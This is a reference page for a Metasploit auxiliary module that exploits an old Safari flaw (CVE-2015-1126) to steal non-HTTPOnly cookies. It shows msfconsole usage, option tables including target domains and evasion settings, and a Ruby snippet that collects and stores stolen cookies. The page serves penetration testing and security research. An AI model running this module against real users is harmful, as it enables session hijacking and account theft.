Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft - Metasploit


This page contains detailed information about how to use the auxiliary/gather/apple_safari_ftp_url_cookie_theft metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft
Module: auxiliary/gather/apple_safari_ftp_url_cookie_theft
Source code: modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
Disclosure date: 2015-04-08
Last modification time: 2021-02-08 14:51:58 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-1126

A vulnerability exists in versions of OSX, iOS, and Windows Safari released before April 8, 2015 that allows the non-HTTPOnly cookies of any domain to be stolen.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/apple_safari_ftp_url_cookie_theft
msf auxiliary(apple_safari_ftp_url_cookie_theft) > show targets
    ... a list of targets ...
msf auxiliary(apple_safari_ftp_url_cookie_theft) > set TARGET target-id
msf auxiliary(apple_safari_ftp_url_cookie_theft) > show options
    ... show and set options ...
msf auxiliary(apple_safari_ftp_url_cookie_theft) > exploit

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Msfconsole Usage

Here is how the gather/apple_safari_ftp_url_cookie_theft auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/apple_safari_ftp_url_cookie_theft

msf6 auxiliary(gather/apple_safari_ftp_url_cookie_theft) > show info

       Name: Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft
     Module: auxiliary/gather/apple_safari_ftp_url_cookie_theft
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-04-08

Provided by:
  Jouko Pynnonen
  joev <[email protected]>

Available actions:
  Name       Description
  ----       -----------
  WebServer  Serve exploit via web server

Check supported:
  No

Basic options:
  Name            Current Setting        Required  Description
  ----            ---------------        --------  -----------
  HTTPPORT        8080                   yes       The HTTP server port
  PASVPORT        0                      no        The local PASV data port to listen on (0 is random)
  SRVHOST         0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT         5555                   yes       The local port to use for the FTP server
  SSL             false                  no        Negotiate SSL for incoming connections
  SSLCert                                no        Path to a custom SSL certificate (default is randomly generated)
  TARGET_DOMAINS  apple.com,example.com  yes       The comma-separated list of domains to steal non-HTTPOnly cookies from.
  URIPATH                                no        The URI to use for this exploit (default is random)

Description:
  A vulnerability exists in versions of OSX, iOS, and Windows Safari 
  released before April 8, 2015 that allows the non-HTTPOnly cookies 
  of any domain to be stolen.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-1126
  https://seclists.org/fulldisclosure/2015/Apr/30

Module Options

This is a complete list of options available in the gather/apple_safari_ftp_url_cookie_theft auxiliary module:

msf6 auxiliary(gather/apple_safari_ftp_url_cookie_theft) > show options

Module options (auxiliary/gather/apple_safari_ftp_url_cookie_theft):

   Name            Current Setting        Required  Description
   ----            ---------------        --------  -----------
   HTTPPORT        8080                   yes       The HTTP server port
   PASVPORT        0                      no        The local PASV data port to listen on (0 is random)
   SRVHOST         0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         5555                   yes       The local port to use for the FTP server
   SSL             false                  no        Negotiate SSL for incoming connections
   SSLCert                                no        Path to a custom SSL certificate (default is randomly generated)
   TARGET_DOMAINS  apple.com,example.com  yes       The comma-separated list of domains to steal non-HTTPOnly cookies from.
   URIPATH                                no        The URI to use for this exploit (default is random)

Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Serve exploit via web server

Advanced Options

Here is a complete list of advanced options supported by the gather/apple_safari_ftp_url_cookie_theft auxiliary module:

msf6 auxiliary(gather/apple_safari_ftp_url_cookie_theft) > show advanced

Module advanced options (auxiliary/gather/apple_safari_ftp_url_cookie_theft):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/apple_safari_ftp_url_cookie_theft module can do:

msf6 auxiliary(gather/apple_safari_ftp_url_cookie_theft) > show actions

Auxiliary actions:

   Name       Description
   ----       -----------
   WebServer  Serve exploit via web server

Evasion Options

Here is the full list of possible evasion options supported by the gather/apple_safari_ftp_url_cookie_theft auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/apple_safari_ftp_url_cookie_theft) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

zlib support was not detected, yet the HTTP::compression option was set. Don't do that!

Here is a relevant code snippet related to the "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" error message:

168:	  # exception is only raised if the DisableGzip advanced option has not been
169:	  # set.
170:	  #
171:	  def use_zlib
172:	    unless Rex::Text.zlib_present? || !datastore['HTTP::compression']
173:	      fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!")
174:	    end
175:	  end
176:	
177:	
178:	  #

<CLI.PEERHOST>: No cookies found for <DOMAIN>

Here is a relevant code snippet related to the "<CLI.PEERHOST>: No cookies found for <DOMAIN>" error message:

194:	    if request.method.downcase == 'post'
195:	      json = JSON.parse(request.body)
196:	      domain = json['domain']
197:	      cookie = Rex::Text.decode_base64(json['p']).to_s
198:	      if cookie.length == 0
199:	        print_error("#{cli.peerhost}: No cookies found for #{domain}")
200:	      else
201:	        file = store_loot(
202:	          "cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
203:	        )
204:	        print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")

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References

See Also

Check also the following modules related to this module:

Authors

  • Jouko Pynnonen
  • joev

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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